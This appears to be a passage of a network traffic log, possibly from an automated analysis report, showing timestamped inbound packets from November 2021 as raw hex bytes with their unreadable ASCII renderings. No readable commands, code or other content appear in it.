f4 18 0f 57 d7 8c bb 9d f9 ba 4b 9e 38 d5 7e 31 e8 78 e3 da 30 8c b6 49 be 2a 66 b4 f1 fe 83 1b bd 7a b5 f9 ee 23 9c 66 
3e 60 b1 0d 5c 79 4d 54 b6 71 90 95 68 75 e3 3d 30 73 d4 05 35 87 3b d1 d5 3e 21 b9 1b be 91 40 22 6c a4 09 80 65 3b 
01 6e f2 66 8e a6 e7 11 70 a6 a1 fc 25 10 ad f3 4b 58 ee 50 40 8d c2 14 36 b1 60 c3 e9 f0 3d 1f f8 00 af 10 0f 87 31 0a 7c 
a2 22 ee b4 53 2c 7c 06 76 1f 1f 51 2d 6b be 44 00 60 14 3e 02 65 c6 0a 63 a0 cb e8 70 36 e5 5d b7 bb 51 2f e4 4e a3 cc 
6f e4 50 58 4c 01 86 5a 6e 95 3f 50 ac 53 c9 11 a2 14 eb 
Data Ascii: iqi0L[!.3"Bf%A[Ab&FCJ $qK3aj\g_WK8~1x0I*fz#f>`\yMTqhu=0s5;>!@"le;nfp%KXP@6`=1|"S,|vQ-kD`
>ecp6]Q/NoPXLZn?PS

2021-11-25 16:27:48 UTC 1094 IN Data Raw: 4f ab d0 57 00 73 f7 26 c3 41 55 da af 86 91 3f 8b 8f 06 ed 21 86 f4 80 b5 2a b8 50 6b 1b 6e 9f e4 0d b3 fe 35 
b0 d8 06 50 bc 14 aa a2 04 48 47 2c 0d 76 a9 47 1b 72 d8 01 9a 34 60 94 29 be ec 2b 52 fe c7 0a 24 2e 52 2a 56 09 a7 
9e 8d 06 8f 25 15 24 43 70 b4 50 5a b1 3e 0f 6e 07 c3 87 81 c5 61 73 d4 c8 48 e0 30 5c e6 9c dd a5 f9 70 0f fd 96 9f 9f 7f 
ce 53 d6 66 e3 3c e8 36 0d c9 6a 09 9a 31 f1 4f 1f 83 be 96 a4 6b 42 08 bc 04 f4 de 30 2c d7 4b 66 01 c0 88 1e 93 52 06 
18 92 fd f2 71 e5 b9 29 09 73 cd d4 5d 01 d5 15 d7 01 b7 32 da 14 fc e9 15 87 64 57 92 79 b3 82 86 07 5b 1a 5d 01 3f ff 
b4 8d c0 9c ab c5 4d e7 cf b5 3f 29 06 68 89 a2 6b 74 56 56 f8 d0 b3 fc e5 d5 cd f0 a6 0d 3c cd b3 06 1b 35 d0 63 6a 66 
22 bc 17 fc 9e 3f fc 97 e6 de 8c 82 01 6b 45 84 b6 7a 
Data Ascii: OWs&AU?!*Pkn5PHG,vGr4`)+R$.R*V%$CpPZ>nasH0\pSf<6j1OkB0,KfRq)s]2dWy[]?M?)hktVV<5cjf"?kEz

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1095 IN Data Raw: 44 46 26 30 e4 7c 8e 1f 82 e6 3e b6 1f a7 b7 30 69 32 0b f8 22 17 2d 87 a5 0e e5 2e 0f 9b 56 c9 00 10 2a 9c fd 
62 0c ff 38 b8 f0 87 6a 65 85 f1 c0 41 1a c3 48 87 eb 1b b2 20 f7 13 81 56 40 94 f9 4d 91 87 a5 a1 37 80 a8 6c 0a 47 7d 
b8 a8 97 4e 7e 2f 9d bc 5e 52 40 31 cb b1 57 31 9d ae bf 4e 9c 7f 00 2b 3e 30 50 2c 84 3f 9c af 62 11 20 7f b2 2f e4 f7 c3 
df c3 f1 df ed 31 46 7c 1e 84 96 4b b5 95 67 83 af 3c 1b 56 cb 15 fa 5b aa 08 9f 05 00 05 32 75 1b 0d c7 d3 bf 67 03 ef 1e 
0e ba e7 f7 22 ab 1a e6 41 cf 7b 6c 90 3d 35 f9 95 37 4a 25 ac ee 7b e1 df e2 00 53 45 03 f4 44 c5 32 56 84 e1 67 d3 ce 
70 dc 7d 12 5d e6 d5 5c c3 9a 40 75 a0 ab 0d 75 db 1d bf 50 7b 9d 60 7d 38 f6 bb 61 18 0d 16 54 2b 8b 4e c7 c3 00 f8 2f 
c4 4e fa db 4d fe 15 dd 01 5a 4a 78 bd bf 31 3e 
Data Ascii: DF&0|>0i2"-.V*b8jeAH V@M7lG}N~/^R@1W1N+>0P,?b /1F|Kg<V[2ug"A{l=57J%{SED2Vgp}]\@uuP{`}8aT
+N/NMZJx1>

2021-11-25 16:27:48 UTC 1096 IN Data Raw: 00 56 99 68 7f 21 1c c7 9c 04 18 21 4f 83 a4 e6 22 c3 5c 80 62 23 8d a7 20 28 a4 74 a8 cd cd 5c 4e 1f a4 04 
29 eb 7a 7a 2c 04 28 86 eb 69 b3 c1 8e 1a 4e b5 f9 cf ef a6 65 b4 16 03 78 68 09 c2 31 31 ac 59 74 d1 e5 7d 00 ef ed d5 
ab 4e f1 de db ea 70 99 05 3f df 5c 2a 6d 5c a1 e4 5e 9a 66 e9 64 44 86 1b a4 d2 f2 a3 5d 87 de a2 37 ad 84 0b 43 20 e1 
8b 58 ef 55 cf c9 21 9c 3a 45 79 41 0b dd 9f e1 0a 37 96 c9 74 09 cb eb 3f 07 ae 5e bd aa 37 48 49 72 92 f0 87 a6 16 fe 
24 fd 81 b6 ef c2 ff 2f fe 32 35 75 2e 26 c2 00 88 8d 1e 5b 27 10 7c 20 e7 61 8c 80 d5 7c 09 0b 02 08 9b 58 32 95 32 16 0f 
8f 8e 11 27 bb a4 a4 ca 3d 37 02 f2 ef 76 d9 5a 92 c3 0d 63 3f 96 31 0b 81 f9 ad a7 8d 94 9c 72 61 1c d2 53 4e 60 9e ea 
b3 1c b5 33 58 17 f1 90 18 c2 90 7a 8e da 69 e0 93 98 
Data Ascii: Vh!!O"\b# (t\N)zz,(iNexh11Yt}Np?\*m\^fdD]7C XU!:EyA7t?^7HIr$/25u.&['| a|X22'=7vZc?1raSN`3Xzi

2021-11-25 16:27:48 UTC 1097 IN Data Raw: f7 33 8a 60 be a4 cc 68 94 d7 48 d4 94 92 a9 a0 29 1d 61 02 a2 a5 23 cc 04 51 45 b8 da d0 b8 6d c1 4a b5 9b 
46 48 ae b8 99 42 13 f5 fa af f8 98 60 d8 eb 45 01 e7 60 3c d2 f1 16 55 d2 23 9e bd 68 38 b6 54 5c 5e 4f 2a 2a 94 69 29 
5a d7 4d ed b8 c9 ea 22 23 50 27 3d 87 76 b3 d8 f1 30 5e 06 c6 93 a5 e9 c6 4d f3 90 4b df 0b 0c 61 dc ca c3 69 ca d9 bc 
83 68 80 41 8f 3c 50 98 66 d0 09 65 22 07 2d eb 36 f3 60 1b 88 12 3b dd 75 12 3f 0f d7 1f f0 8c 08 be de d4 f0 b8 c8 f3 94 
17 eb ac 6f 4b 37 6f 0a f6 4d a1 4d 12 4f 22 12 4f 6c 49 79 a5 88 64 c7 a4 bb 7d ac b8 e4 73 91 56 b2 2f 24 a0 95 9b 66 
c2 83 63 a0 74 7d 36 46 f6 2d e9 32 4f 0c de ca e6 07 a3 e3 aa 73 db 4c 32 59 e2 49 21 cb 4f 8f 41 4d 74 3b 5b 71 37 ab 
e9 c9 ac 7a 5b 37 46 23 cc 56 5b c9 ef 27 1b c6 56 dc 
Data Ascii: 3`hH)a#QEmJFHB`E`<U#h8T\^O**i)ZM"#P'=v0^MKaihA<Pfe"-6`;u?oK7oMMO"OlIyd}sV/$fct}6F-2OsL2Y
I!OAMt;[q7z[7F#V['V

2021-11-25 16:27:48 UTC 1099 IN Data Raw: b6 b8 91 3e 16 97 9c 24 b9 d4 17 98 a7 71 81 57 e2 37 52 87 ca 05 2c 0c a4 1b c4 30 71 e2 1a f8 ea 7d c7 5d 
5d 93 da 6e e9 84 31 d3 9c 3a c8 94 d9 85 bb 58 64 89 0f 28 79 bb 7b 8c 79 a7 aa e3 66 b1 e5 ab 2c db c9 a0 b7 81 7b 
17 e8 3e 67 a6 0e bd 2e ec 45 76 95 12 5d cc 70 50 c3 3b 3f ca 7f bb ab 41 9b 30 b3 ab d9 31 8f e5 5e 5d d2 e2 b6 3f 36 
a1 58 10 cb 8c 57 60 57 d7 cc 0a 3d 0b f5 cf 53 fb 89 df 2a 4f 3a 23 f8 52 42 e5 64 43 0b ff 65 24 54 66 7a 86 65 4a aa 8c 
83 2d ca ac 4c 96 55 e9 fb d1 9c b7 af e6 0d 13 f6 c4 94 d9 8e c9 80 e3 66 a0 01 04 6d 0d a1 47 b1 49 6d cf 62 1e c0 15 
72 ca 97 81 b8 dd 6c 2c 81 e2 01 26 84 3a 21 53 6c e3 c3 a1 ed d8 f4 22 81 f6 b5 a6 12 9e f2 d1 12 58 78 f5 6a a7 29 36 
13 15 a5 30 e6 b2 f6 d6 91 df a3 12 ae 8b b9 c5 00 40 bb 
Data Ascii: >$qW7R,0q}]]n1:Xd(y{yf,{>g.Ev]pP;?A01^]?6XW`W=S*O:#RBdCe$TfzeJ-LUfmGImbrl,&:!Sl"Xxj)60@

2021-11-25 16:27:48 UTC 1100 IN Data Raw: c3 ce 10 21 a3 2c 17 e5 cb 91 f4 77 80 23 18 28 cb e9 b6 a3 c9 81 e1 63 ce 39 0e 8f d1 cd 3c f3 b1 89 4a a9 
23 bf 39 26 49 31 1c eb 91 27 15 9b 76 86 9c 3b ce de af cb 52 b9 d7 ca 5e 4c 09 45 e1 15 4f 43 91 d2 cc 2b fe f0 e8 f2 c1 
b4 5d 0b 78 48 83 2c bf 68 6e dd 48 7a fc 87 87 e4 78 45 fc 46 11 5a 33 43 d2 eb d4 3b 26 93 4a b8 2c c0 42 17 4d d5 f2 
73 be 9e 04 5e d3 b5 48 43 f1 14 c4 01 d9 ac 05 c5 1b c4 86 f4 db e7 bf a4 3c 3a a0 d0 9f 73 56 cf bb 7c 94 57 47 72 21 bf 
04 62 42 75 41 e8 f3 0b df 44 14 a6 a1 9e 27 e6 7c 15 57 be a3 66 c5 54 67 66 76 cf 40 b3 ec cb 6f c8 93 52 70 5d 89 38 
b8 47 1c 42 51 67 f2 fc ac d5 59 e2 60 2e 40 5a ea 47 35 47 d3 2c fc 93 fa 94 4e 0b 89 29 c9 91 55 a9 df 0d 98 c6 4b 9e 
88 de c5 80 ad c3 6e ea 1a 19 07 bf f2 b7 4c 78 e0 
Data Ascii: !,w#(c9<J#9&I1'v;R^LEOC+]xH,hnHzxEFZ3C;&J,BMs^HC<:sV|WGr!bBuAD'|WfTgfv@oRp]8GBQgY`.@ZG5G
,N)UKnLx

2021-11-25 16:27:48 UTC 1101 IN Data Raw: e0 ba e1 85 ed cc 4d 03 24 dd 8a 1a 8d 69 40 d7 50 7d 5d 61 67 26 bc 89 0e af b0 c7 3c 48 e4 ef c2 f4 05 81 
11 22 31 6b af 54 0a b3 9f e7 41 a5 cd 76 82 4a c4 64 43 8c ae ea 09 4f c6 11 7a 43 b4 11 93 c2 ce a7 0f 92 87 2a 69 5f 
00 8c 79 b2 3f f9 79 f2 7c 4e f4 63 ec cf 14 53 ed 55 12 69 ad 0c f1 93 7b 9b 54 4d 53 14 df d9 82 19 54 e0 bf 54 87 1d c1 
95 17 63 a7 22 9f 15 32 25 38 9f b3 6f 59 42 dc ea 7a 14 f8 2c 51 02 93 ca 52 e9 82 bb 28 3d 17 e8 43 23 72 13 e2 5b 20 
3c b2 ba 96 46 91 6a d1 eb 1e fb d9 f0 2b 3e e3 91 71 31 cf 5e 7a dd 7e 78 79 eb e6 61 14 69 3a de e6 a1 e4 74 89 34 cd 
ea 86 ee ca 4a d8 9a b3 c7 3c d6 3f 6a e5 38 e9 75 a4 11 c6 b7 48 1a a3 d5 db dc fa ec b1 c9 a2 16 9c a3 c7 df d5 e7 9f 
98 04 8f a6 c3 ef 86 08 ed 69 dc 1d 67 c9 30 31 95 2c 
Data Ascii: M$i@P}]ag&<H"1kTAvJdCOzC*i_y?y|NcSUi{TMSTTc"2%8oYBz,QR(=C#r[ <Fj+>q1^z~xyai:t4J<?j8uHig01,

2021-11-25 16:27:48 UTC 1102 IN Data Raw: a1 30 bf 6b 2d 62 1d 97 dd 5b 9c 8a 35 e1 87 1a 25 c2 f5 2d f8 af 82 4a 4c ed d6 43 e1 e6 63 34 95 b6 af ac 30 
19 16 02 1e ac 4d 61 8a 14 64 e7 4a c7 e1 7e 47 1d ac 21 e9 bb 24 0f fa 57 af 2c 8b 07 66 f6 a5 6f 6a 9f 0b 87 e5 41 f3 f1 
c7 67 f5 03 80 79 eb 8e 23 25 a7 92 92 cb 1b 18 3b 35 af 5e 90 9d 57 35 3f 9e 97 31 cd 90 cc 95 53 45 14 19 d7 4f 7f 91 
f2 a9 d4 b3 0f 9a 3b f6 7f 2b 6c 14 e1 5a 80 90 72 05 a1 a0 08 06 a5 98 15 05 c4 a3 24 97 48 39 1b ff a5 d3 72 c6 4a 02 
c9 9d 2a 27 f2 37 30 8d f0 4f bd 4d ad a8 c7 63 41 a4 91 fd 59 fc 41 84 52 d4 55 46 64 9a 83 60 5d 2e 95 44 1e f2 55 8a f0 
2b 8a 61 77 d5 35 32 e5 10 a7 8b 3d 8f 84 8c 5c f2 bb c4 f2 14 fc a8 37 7c c0 64 d7 c4 9d a1 70 dd 10 5c 16 ec 84 5d 75 
d4 75 35 f7 65 9a 83 76 77 10 e6 79 99 85 f8 09 
Data Ascii: 0k-b[5%-JLCc40MadJ~G!$W,fojAgy#%;5^W5?1SEO;+lZr$H9rJ*'70OMcAYARUFd`].DU+aw52=\7|dp\]uu5evwy

2021-11-25 16:27:48 UTC 1104 IN Data Raw: 52 16 07 44 e3 00 bd 42 19 42 80 c5 f9 08 bf 56 89 57 50 96 04 bc 8a e0 20 44 44 be 79 55 74 97 67 a8 cd 55 
f3 64 61 00 18 22 bc ea 5f 23 dd db 77 85 69 41 5f 78 b4 25 c1 e3 fb 8e b0 35 f8 49 18 89 bb df f3 8b b9 d2 21 0d 13 eb 77
e1 ea 05 da bd 62 51 95 bf fb 3c 06 8e 35 d7 02 e7 dc b9 7d 25 21 ef 1b 6c 87 ee 0a b2 35 6d e9 a6 41 7d 6e 1a c4 b4 a2 
8e b0 16 aa 2c 59 7f 5b 42 b6 77 a7 ec 6e c4 1c 79 bb 45 b3 bc 9b c3 01 72 f2 0c 20 3a ac ef fc 0c 69 11 cc 0e 3b 46 87 
b4 04 c9 47 8b d4 3e c9 57 c3 ff 71 52 40 f9 5f 88 93 77 16 79 d2 3c 47 e0 7d 12 9c ca eb 0e 68 c0 e9 eb 09 11 77 13 af 0f 
57 85 06 3b da a5 20 62 da e8 fa 53 4a 28 e5 15 fd b0 f8 cd 2e bf 5f 7b c7 7e 7e f7 81 36 bd 0b 81 25 03 32 16 c9 19 39 5f 
b9 29 12 5e d3 4c b0 31 23 94 b7 0c a2 07 49 9f 
Data Ascii: RDBBVWP DDyUtgUda"_#wiA_x%5I!wbQ<5}%!l5mA}n,Y[BwnyEr :i;FG>WqR@_wy<G}hwW; bSJ(._{~~6%29_
)^L1#I

2021-11-25 16:27:48 UTC 1105 IN Data Raw: a0 b3 0a bf 47 a3 2a c0 bf 1a 76 57 41 b7 f3 53 15 46 82 f3 2a a3 17 e5 22 5f 41 49 6e 77 a0 0e 62 6b 26 66 dc 
91 03 bd 1c 9e 13 aa 25 b3 68 6b e4 d4 d4 de 93 4b 21 12 64 9a f1 8a 61 5e 68 e0 f7 41 85 21 aa dd db 9b 7b eb 72 59 
e4 e8 1d fc 4c 19 d2 50 c5 5b 0d 49 c6 76 dc 43 dd 3e 22 85 4d 12 23 c6 dc 14 33 4c c2 7a c3 6d bd 94 98 1e b7 52 30 bd 
20 64 b8 ae de ed 64 c2 ab 86 1a 39 b0 28 84 ab f0 2e b5 18 cd 30 1b 36 37 c2 cb 39 c4 00 c8 bb 2a 3e e9 7e be 09 b9 0c
98 b7 8d cf 9d 79 75 5f 27 64 a3 28 87 90 0d 64 08 0c 27 55 fb 05 06 e7 ec 68 77 62 63 8a 3c 57 b0 21 db 9c 89 e9 86 13 
59 12 45 68 39 ef 08 de e4 a0 95 51 99 c4 ca c4 10 8d 31 e7 d5 03 7d ec 9b bc b0 3b 08 59 fb 4a a9 48 e1 86 b2 ae 0c b1 
1b 04 76 26 74 fd 51 ba a2 5c 2f c5 e6 05 14 9a e0 e8 37 
Data Ascii: G*vWASF*"_AInwbk&f%hkK!da^hA!{rYLP[IvC>"M#3LzmR0 dd9(.0679*>~yu_'d(d'Uhwbc<W!YEh9Q1};YJH
v&tQ\/7

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 1106 IN Data Raw: fb f4 3b 8c b4 2e 87 54 74 a3 95 d4 a8 e4 58 2b 81 43 ba 45 67 f3 d0 a9 48 b6 f3 80 6a 75 b4 5a 0d 59 ab 96 
d4 8a a9 56 af 02 1c ea c5 6f 71 a8 e7 a6 d9 eb e7 ec ed 35 4b 50 3b c6 50 cb 56 d8 35 2a 5c 66 2b 1c 1a 15 be 66 2b 1c 
1b 15 be 65 2b ec 1b 15 be e7 5c b1 46 85 3f b2 15 ea 46 05 ef 24 53 e1 c6 a8 e0 67 2b f4 8d 0a 41 b6 c2 d0 a8 10 66 2b 
d4 8c 0a 51 b6 42 27 2d 0d 60 ed 9c 4a 5c e1 6f 08 0d 2e fe 11 b3 4e 3b 1d 67 7b 3e 30 e6 d7 c9 56 68 64 e6 d7 cd 56 8a 
f5 5e e8 cc de 9c 18 67 36 87 c8 47 01 01 ee 32 fe e0 25 17 76 12 2d c0 1a 8c 2d a4 bd 6f 4e 88 f6 be 75 6f 4e 4c 85 64 
0e 70 ff e4 76 51 dc 2b 60 34 40 63 1a 0a 6b c7 49 54 0c af c0 69 f4 db 13 01 ff 2f 63 df 18 e8 6d ac 71 9e b3 b6 56 7f 66 
a9 64 71 92 0a e5 d9 10 a7 37 d9 ea c8 c6 df c2 94 16 
Data Ascii: ;.TtX+CEgHjuZYVoq5KP;PV5*\f+f+e+\F?F$Sg+Af+QB'-`J\o.N;g{>0VhdV^g6G2%v--oNuoNLdpvQ+`4@ckI
Ti/cmqVfdq7

2021-11-25 16:27:48 UTC 1108 IN Data Raw: cf 6a ea 62 8e f9 0d 3b ee 7b 53 43 c0 e5 a4 66 81 8a 01 3e d2 62 6d 42 27 d5 66 67 21 26 bb 49 d5 5c 1c a9 
4c f8 1b 6d 2d 97 2b 62 e9 34 cd e7 0d fe b8 c9 91 3c 3d 65 cf 18 d5 81 95 90 71 bc c6 5d b9 f6 c9 55 a2 65 f7 26 c0 09 
e6 d5 a7 df dc 8a b3 e9 88 9b 54 ec fd 98 46 03 84 73 1b 87 90 04 cb b8 cb b3 d6 c9 02 6e af 9d b9 c4 54 41 02 ea db 0b 
2e 69 ed 20 eb a7 57 bb 8d e7 d5 6d 7d f2 b9 9c 37 92 5b 7c 61 6b c8 67 e3 35 2b 22 87 a9 4b 44 84 60 23 b7 5a 41 dc 0c 
66 7d 61 82 29 2a cf 53 63 2d 26 5b 7a a9 9a bf b8 f2 04 33 b1 f3 cf cf 7b 2f 73 ba 6f 16 9c 6e 1d 27 c4 e2 bc ef fc d6 79 df 
56 e7 7d e7 05 52 4c ee 93 79 15 2c ed fc ea f6 e8 e4 dd 1e b5 df 11 e2 ec e6 c0 8c a6 9e d8 4f 88 39 4d 3d 11 73 fb 03 
8c 3e 23 c2 1e e6 42 58 4d 5d f1 f2 62 ae 25 4a 12 
Data Ascii: jb;{SCf>bmB'fg!&I\Lm-+b4<=eq]Ue&TFsnTA.i Wm}7[|akg5+"KD`#ZAf}a)*Sc-&[z3{/son'yV}RLy,O9M=
s>#BXM]b%J

2021-11-25 16:27:48 UTC 1109 IN Data Raw: ab 65 2d 3a 80 27 82 eb 11 3d 01 cb 1a d8 21 a5 04 fe e6 d3 28 d5 4b fc 0b c4 1d ba a3 ea df 07 07 93 f5 d2 df 
a3 62 91 a4 fb 0f 04 24 b2 d0 c5 43 b6 85 ff 48 39 22 34 0a 65 8e 4e f4 01 0a dd d5 32 cd 84 c3 2e 8f 42 81 20 d0 3f a9 46 
64 fb 1c e0 39 8d 38 f4 d0 cc 7d ca 2a 17 aa f0 08 76 e0 c2 24 03 4a 39 6b 87 14 73 85 9c 8b be ca c2 d0 3d cf 6d f5 2d 
a9 e0 d3 a5 9c a9 11 00 06 c2 ac 41 55 4f 40 e0 92 8f 0f 3e 36 69 9f 42 e9 20 e0 39 61 4c 01 b3 c7 06 01 f7 0f 82 dd 10 af 
ee bd 1e 90 00 5a ec c2 ef 38 3a ee 6c 3b 17 2c 95 4c ae 9f de 74 ae b5 4d e5 74 bc ba ae 44 8a 99 92 a4 67 5a 7b 1b 2f 
a2 70 6b ae 2e e2 89 24 cf a7 19 b4 5b 18 60 c3 aa b4 e7 6c 90 86 83 05 f4 ab a6 7e d5 b4 ab 9a 7e 56 29 70 81 ca a4 8b 
b3 07 c4 17 ac 1b fe cd a5 34 87 7c bf 04 a9 d8 
Data Ascii: e-:'=!(Kb$CH9"4eN2.B ?Fd98}*v$J9ks=m-AUO@>6iB 9aLZ8:l;,LtMtDgZ{/pk.$[`l~~V)p4|

2021-11-25 16:27:48 UTC 1110 IN Data Raw: e6 11 89 3a 67 07 f9 db 40 cc 6f 06 25 26 5e 84 6d a9 43 c3 08 2b 2e 2c 07 92 3d 9e c6 c0 c2 91 4c 52 7b 2e 
09 b4 60 e0 67 ce c6 9e ff 72 20 4d 1e ee 63 a2 0f 97 9f c8 df 9b 9c 5c 0c e0 73 6d 21 d8 45 44 13 39 0e 72 ad 9e 43 5c fb 
6e 1e 22 e2 2b c1 83 e5 00 9c c5 ee a7 53 3a b5 cf cf 7c 0d e1 50 b5 e1 c4 01 1e 8e 39 c3 4d 1b 08 7c dc 18 f7 00 ce 47 
1b 0e 4d 8c 10 13 89 37 df 7b ea cd 06 f4 5f 8d 38 cb 2d de de 26 ed 36 f1 ad 16 2a 50 c4 f0 f1 6b 55 af f2 13 d8 7d e2 d3 
e4 59 8e e5 59 3e 38 aa ed 59 95 d8 2d f3 e0 c9 40 52 f3 72 51 bc 26 8b e7 35 7b fb 14 a3 3f 73 b9 25 bc d6 63 fb d1 f7 f0 
2f 9c d3 51 66 31 c7 9a 1b 2c 94 08 74 13 1e 3b 58 0f 10 59 88 1c 1e ff 82 8e f8 80 88 bd c5 46 9c fb 59 02 e2 b4 da 21 f0 
c7 6f 08 6a 8c 42 b0 8c 7a dd a9 6d 61 76 84 
Data Ascii: :g@o%&^mC+.,=LR{.`gr Mc\sm!ED9rC\n"+S:|P9M|GM7{_8-&6*PkU}YY>8Y-@RrQ&5{?s%c/Qf1,t;XYFY!oj
Bzmav

2021-11-25 16:27:48 UTC 1111 IN Data Raw: 29 95 7b 1c a8 eb 21 70 39 07 61 6e e8 1a 96 eb c5 2f 73 0f 9c 48 34 f6 2e 8f ac a1 1e 49 51 61 01 1f 00 24 39 
d7 9c d1 ee f8 b0 3b 44 b4 b4 e9 c7 26 ff 11 13 a3 fc 07 d2 0a f0 e5 47 78 d3 a3 fa 96 53 43 c0 89 60 30 d6 80 b8 70 a2 
1a 50 10 61 73 12 a8 8c 89 b9 10 36 90 1a 72 aa 1d a9 53 0a 48 d6 84 8c 70 a8 56 03 07 7c e7 a8 25 e9 b8 43 24 2b 24 
e3 e0 e8 dc c4 9a 7a 2b f9 0d e3 f5 7a 05 6d 46 ce 44 f2 bb c2 0c ee 9b 51 84 fe 27 85 ed da c5 c9 f6 f9 79 01 75 67 85 f1 
b0 17 15 95 4b 71 a1 93 a6 f2 3b 0b ae ce 3f 76 aa 6a 43 35 f4 a6 ef 66 39 bb 91 2f b1 80 ca f9 52 6d a3 62 02 f1 46 46 81 
6c e5 67 40 86 d9 a9 c1 ac cf bb 27 56 76 40 eb a2 46 c5 69 74 7a 7e 5e 17 6f d6 17 21 04 a9 45 54 4e 9d 79 73 a2 f3 20 
e5 9e 3d 1e 19 1a fd 0c aa 32 24 34 9e 9b 53 5b dd 
Data Ascii: ){!p9an/sH4.IQa$9;D&GxSC`0pPas6rSHpV|%C$+$z+zmFDQ'yugKq;?vjC5f9/RmbFFlg@'Vv@Fitz~^o!ETNys 
=2$4S[

2021-11-25 16:27:48 UTC 1113 IN Data Raw: 60 ef af af f9 46 7d 35 4f d6 e5 e2 d0 c5 ba 93 54 47 39 3d f5 95 3f 54 59 46 fc 21 72 e1 54 7a 53 09 af 29 6a 
7b 79 9a c4 20 fe 7a ca 2e 9d ea 57 fd a0 fa 86 a9 53 6a 20 31 fc a5 51 5f 9b 2d c7 94 df f3 10 05 1a aa e1 e1 ec 5c 61 e0 
39 be 7d ab 65 99 71 11 cb 32 88 1c 08 3f 0c c1 4c e6 69 5a ec 5f 5b e8 d8 c9 60 8f 5b 52 90 14 85 7d 3b e5 71 76 bf fe ca
44 45 f8 dd 7c 17 2b 81 f9 47 7d 19 77 0d 75 58 53 cc 90 3c 15 76 b3 df 4e 0d 7f c6 6f e6 c7 01 6b 24 09 4d 8a e2 3a 7b 
7e 46 b3 70 74 eb 74 97 4b 15 9b fe 22 be ef c3 4f 16 4f ed 2b f4 02 e8 a0 58 1a fe 78 f4 e7 32 ba 4e 67 4f 50 7a 1e ff aa 
8c 6a 2d ff 6a ed 3a 51 e8 0a 7c 2f c8 62 be e3 82 6a f1 51 93 14 ab 18 72 82 70 1c 21 71 59 a7 74 11 00 e8 b7 76 8c 38 
12 9f 1b 03 5b 29 76 90 ce f9 84 ba 92 4f 9e 
Data Ascii: `F}5OTG9=?TYF!rTzS)j{y z.WSj 1Q_-\a9}eq2?LiZ_[`[R};qvDE|+G}wuXS<vNok$M:{~FpttK"OO+Xx2NgOPzj-
j:Q|/bjQrp!qYtv8[)vO

2021-11-25 16:27:48 UTC 1114 IN Data Raw: 82 d9 1a f3 42 a1 e3 e5 c3 82 6a f0 7e d5 47 f7 cb 99 0e 27 8b 03 2f 09 82 63 c5 ea 4f 64 9c bd 33 57 8c b5 2a 
a3 94 38 ec 51 15 aa 32 1e 74 ed 6c 31 d5 a8 3b c8 c5 ca a7 4d 1c 47 8a 81 23 82 46 cd d9 f6 2f 10 e1 57 db 29 c6 80 09 
97 c9 40 d2 9b f0 44 e3 1f 02 6e 1a 89 4e 6f 3c 2b eb 8e 39 1d 69 c6 88 f6 00 39 e9 3e 99 9e 4d 8f 24 0d df 8f ed 6f c7 44 
54 7d 3d 46 19 6a e0 68 26 2d c1 27 db ff 84 c6 39 9e 48 00 26 e7 2f 28 e8 da 99 a2 82 e5 18 85 dd 33 9c 47 ed 4c 52 90 
da 66 ee e1 2b d2 24 ee e5 40 
Data Ascii: Bj~G'/cOd3W*8Q2tl1;MG#F/W)@DnNo<+9i9>M$oDT}=Fjh&-'9H&/(3GLRf+$@

2021-11-25 16:27:48 UTC 1114 IN Data Raw: d1 6d f4 28 0f 05 91 0c 5c ef 58 dd d3 77 b5 3b d9 8d 60 33 a2 45 09 a5 65 d4 6a ea 40 06 0e 32 c7 e2 29 92 
55 47 b6 46 fa 4a 01 03 b5 06 08 aa 0f 1f a2 71 0d 18 39 25 5a b5 a6 e3 59 64 71 5e c4 6a 7b c0 46 d1 8f 2d 7b 1f 8d 89 
ac 3d a9 5a c7 6a 6f e8 3d 2b f8 b3 69 e1 c1 9b 90 09 0d f5 bc 62 15 81 5a 5b 2e 3b 15 de 1d 92 45 73 76 98 06 ef 45 13 
2d f8 42 28 d7 9c f5 fd 68 6c 8b 5e d5 4a 77 27 4d 0f b8 37 47 a6 ae e7 af 33 53 f4 60 c1 b0 bd 3e c1 80 4f cd 77 2a c1 9c 
ed a7 27 74 74 b6 75 84 c7 11 36 0a ab d8 9e 6b 61 ca 10 fa 30 28 5b b1 48 63 cc 80 96 05 4a fc 68 62 f3 cc d3 9c 17 3c 
3a 73 95 90 ec 18 90 f3 53 bd 02 2c 02 fb 64 dc d1 46 c2 ea dd 61 01 13 56 23 bd 8b 52 65 54 3d 86 dd 31 cc bd f7 08 88 
74 5e fd a4 c3 45 c4 c9 6e b3 f0 d7 59 9e 04 e7 9d ea 
Data Ascii: m(\Xw;`3Eej@2)UGFJq9%ZYdq^j{F-{=Zjo=+ibZ[.;EsvE-B(hl^Jw'M7G3S`>Ow*'ttu6ka0([HcJhb<:sS,dF
aV#ReT=1t^EnY

2021-11-25 16:27:48 UTC 1115 IN Data Raw: b5 fa 18 67 ce 52 d7 6e 5c df 64 0c 7b 72 79 61 8a a4 6f 12 f4 10 72 8b 71 6b ee a0 e5 36 ba bd 21 5e b3 e7 
b6 f5 6f 84 c8 ae 84 83 27 20 ce b3 5a aa 1c e3 3f a6 d8 11 f9 3a 11 7f 4c 73 22 2c e4 bb b9 c8 9d 22 5c 72 48 37 a7 21 
ec 05 19 4f 5d 92 7e bf 40 d7 e9 c2 bb 0d ef 70 24 bf 0e 11 0f 09 e7 fc f7 5f 4a 30 3e e4 4b 41 d9 e4 6a ac 2d 18 4e e0 90 
37 db d0 ca e0 35 33 08 1b ad e1 28 1c 10 91 6a b4 37 83 20 0e 19 a4 af d0 25 3a 6d 01 40 76 66 fe 05 4b 7f 21 fb 2f 22 
5c 1d b7 42 b4 2a 81 00 28 91 b2 c7 cb 53 f1 4c 53 14 13 81 70 d2 f8 78 b6 a3 ae 01 a3 c4 22 90 ac 0f a7 27 f4 01 60 2d 
6e 2e 66 82 57 f0 92 fd 31 51 c2 fc 29 3e cc 74 8a ee de fa 77 64 1f 2a e5 e0 bf 11 d9 32 58 34 77 52 8e d5 04 27 f9 68 6a 
12 dd e7 fc 76 e8 0e 2c 5d 4a ec b5 a9 5e 79 12 ba 
Data Ascii: gRn\d{ryaorqk6!^o' Z?:Ls","\rH7!O]~@p$_J0>KAj-N753(j7 %:m@vfK!/"\B*(SLSpx"'`-n.fW1Q)>twd*2X4wR'hjv
,]J^y

Timestamp
kBytes
transferred Direction Data
